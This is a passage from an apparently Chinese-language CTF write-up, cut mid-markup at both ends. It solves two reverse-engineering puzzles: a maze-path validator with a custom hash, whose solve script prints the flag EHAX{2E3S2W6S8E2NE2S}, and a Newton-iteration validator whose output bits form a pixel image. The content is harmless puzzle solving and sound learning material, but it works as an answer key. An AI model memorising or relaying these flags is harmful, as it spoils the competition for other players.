none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">Pathfinder</span></span></h3><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> sys</span><br/><span leaf="">GRID = [</span><br/><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x08</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x0A</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x0C</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x00</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x00</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x00</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x00</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x00</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x00</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x00</span></span><span leaf="">,</span><br/><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x00</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x00</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x05</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x00</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x00</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x08</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x0A</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x0A</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x0C</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x00</span></span><span leaf="">,</span><br/><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x00</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x00</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x03</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x00</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x00</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x05</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x00</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x00</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x05</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x00</span></span><span leaf="">,</span><br/><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x08</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x0A</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x0A</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x0A</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x0A</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x01</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x00</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x00</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x05</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x00</span></span><span leaf="">,</span><br/><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x05</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x00</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x00</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x00</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x00</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x00</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x08</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x0A</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x01</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x00</span></span><span leaf="">,</span><br/><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x05</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x00</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x0C</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x0A</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x0C</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x00</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x05</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x00</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x00</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x00</span></span><span leaf="">,</span><br/><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x05</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x00</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x05</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x00</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x05</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x00</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x05</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x00</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x00</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x00</span></span><span leaf="">,</span><br/><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x05</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x00</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x01</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x00</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x03</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x0A</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x09</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x00</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x08</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x0C</span></span><span leaf="">,</span><br/><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x05</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x00</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x00</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x00</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x00</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x00</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x00</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x00</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x05</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x05</span></span><span leaf="">,</span><br/><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x03</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x0A</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x0A</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x0A</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x0A</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x0A</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x0A</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x0A</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x01</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x03</span></span><span leaf="">,</span><br/><span leaf="">]</span><br/><span leaf="">TARGET_HASH = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x86BA520C</span></span><br/><span leaf="">MOVE_MASK = {</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;N&#34;</span></span><span leaf="">: </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x0104</span></span><span leaf="">, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;S&#34;</span></span><span leaf="">: </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x0401</span></span><span leaf="">, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;E&#34;</span></span><span leaf="">: </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x0802</span></span><span leaf="">, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;W&#34;</span></span><span leaf="">: </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x0208</span></span><span leaf="">}</span><br/><span leaf="">MOVE_DELTA = {</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;N&#34;</span></span><span leaf="">: (</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">-1</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">), </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;S&#34;</span></span><span leaf="">: (</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">), </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;E&#34;</span></span><span leaf="">: (</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">), </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;W&#34;</span></span><span leaf="">: (</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">-1</span></span><span leaf="">)}</span><br/><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">rol32</span></span><span style="line-height: 26px;"><span leaf="">(v: int, b: int)</span></span><span leaf=""> -&gt; int:</span></span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> ((v &lt;&lt; b) | (v &gt;&gt; (</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">32</span></span><span leaf=""> - b))) &amp; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xFFFFFFFF</span></span><br/><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">h</span></span><span style="line-height: 26px;"><span leaf="">(path: str)</span></span><span leaf=""> -&gt; int:</span></span><br/><span leaf="">    v = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xDEADBEEF</span></span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> ch </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> path.encode():</span><br/><span leaf="">        v = (</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">73244475</span></span><span leaf=""> * rol32(v ^ ch, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">13</span></span><span leaf="">)) &amp; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xFFFFFFFF</span></span><br/><span leaf="">    t = (((</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">-2048144789</span></span><span leaf="">) &amp; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xFFFFFFFF</span></span><span leaf="">) * ((v ^ (v &gt;&gt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">16</span></span><span leaf="">)) &amp; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xFFFFFFFF</span></span><span leaf="">)) &amp; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xFFFFFFFF</span></span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> ((t &gt;&gt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">13</span></span><span leaf="">) ^ t) &amp; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xFFFFFFFF</span></span><br/><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">flag</span></span><span style="line-height: 26px;"><span leaf="">(path: str)</span></span><span leaf=""> -&gt; str:</span></span><br/><span leaf="">    out, i = </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;EHAX{&#34;</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">while</span></span><span leaf=""> i &lt; len(path):</span><br/><span leaf="">        j = i</span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">while</span></span><span leaf=""> j &lt; len(path) </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">and</span></span><span leaf=""> path[j] == path[i]:</span><br/><span leaf="">            j += </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><br/><span leaf="">        cnt = j - i</span><br/><span leaf="">        out += path[i] </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> cnt == </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">else</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">f&#34;</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{cnt}</span></span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{path[i]}</span></span><span leaf="">&#34;</span></span><br/><span leaf="">        i = j</span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> out + </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;}&#34;</span></span><br/><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">ok</span></span><span style="line-height: 26px;"><span leaf="">(path: str)</span></span><span leaf=""> -&gt; bool:</span></span><br/><span leaf="">    x = y = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> ch </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> path:</span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> ch </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">not</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> MOVE_DELTA:</span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">False</span></span><br/><span leaf="">        dx, dy = MOVE_DELTA[ch]</span><br/><span leaf="">        nx, ny = x + dx, y + dy</span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">not</span></span><span leaf=""> (</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf=""> &lt;= nx &lt;= </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">9</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">and</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf=""> &lt;= ny &lt;= </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">9</span></span><span leaf="">):</span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">False</span></span><br/><span leaf="">        v4 = GRID[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">10</span></span><span leaf=""> * x + y] | (GRID[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">10</span></span><span leaf=""> * nx + ny] &lt;&lt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">8</span></span><span leaf="">)</span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (MOVE_MASK[ch] &amp; v4) == </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">:</span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">False</span></span><br/><span leaf="">        x, y = nx, ny</span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> (x, y) == (</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">9</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">9</span></span><span leaf="">) </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">and</span></span><span leaf=""> h(path) == TARGET_HASH</span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> __name__ == </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;__main__&#34;</span></span><span leaf="">:</span><br/><span leaf="">    path = sys.argv[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">] </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> len(sys.argv) &gt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">else</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;EESSSWWSSSSSSEEEEEEEENNESS&#34;</span></span><br/><span leaf="">    print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;valid:&#34;</span></span><span leaf="">, ok(path))</span><br/><span leaf="">    print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;hash:&#34;</span></span><span leaf="">, hex(h(path)))</span><br/><span leaf="">    print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;flag:&#34;</span></span><span leaf="">, flag(path))</span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># EHAX{2E3S2W6S8E2NE2S}</span></span></code></pre><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 18px;color: rgb(255, 255, 255);background-color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;padding-top: 2px;padding-bottom: 2px;padding-left: 10px;padding-right: 10px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">compute it</span></span></h3><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">题目中有两个附件</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">validator接收两个浮点数参数，把它们当成复数，来跑Newton迭代</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">signal_data.txt每行就是一对浮点数，也就是一个复数初值</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">根据validator和signal_data.txt可以计算出一些0/1数据</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">然后再把0/1数据按顺序重排成一个 20 行、130 列的黑白图，就能看到一行像素字。</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">#!/usr/bin/env python3</span></span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">from</span></span><span leaf=""> __future__ </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> annotations</span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> argparse</span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">from</span></span><span leaf=""> pathlib </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> Path</span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">from</span></span><span leaf=""> typing </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> List, Sequence, Tuple</span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">from</span></span><span leaf=""> PIL </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> Image</span><br/><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">check_point</span></span><span style="line-height: 26px;"><span leaf="">(x: float, y: float)</span></span><span leaf=""> -&gt; int:</span></span><br/><span leaf="">    iterations = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><br/><span leaf="">    miss = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">while</span></span><span leaf=""> miss &lt;= </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x31</span></span><span leaf="">:</span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># f(z) = z^3 - 1</span></span><br/><span leaf="">        f_re = x * x * x - </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">3.0</span></span><span leaf=""> * x * y * y - </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1.0</span></span><br/><span leaf="">        f_im = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">3.0</span></span><span leaf=""> * x * x * y - y * y * y</span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># f&#39;(z) = 3z^2</span></span><br/><span leaf="">        d_re = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">3.0</span></span><span leaf=""> * (x * x - y * y)</span><br/><span leaf="">        d_im = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">6.0</span></span><span leaf=""> * x * y</span><br/><span leaf="">        den = d_re * d_re + d_im * d_im</span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> den &lt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1e-9</span></span><span leaf="">:</span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">break</span></span><br/><span leaf="">        delta_re = (f_re * d_re + f_im * d_im) / den</span><br/><span leaf="">        delta_im = (f_im * d_re - f_re * d_im) / den</span><br/><span leaf="">        x -= delta_re</span><br/><span leaf="">        y -= delta_im</span><br/><span leaf="">        iterations += </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> abs(x - </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1.0</span></span><span leaf="">) &lt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1e-6</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">and</span></span><span leaf=""> abs(y) &lt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1e-6</span></span><span leaf="">:</span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">break</span></span><br/><span leaf="">        miss += </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> iterations == </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">12</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">else</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><br/><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">load_points</span></span><span style="line-height: 26px;"><span leaf="">(path: Path)</span></span><span leaf=""> -&gt; List[Tuple[float, float]]:</span></span><br/><span leaf="">    points: List[Tuple[float, float]] = []</span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> 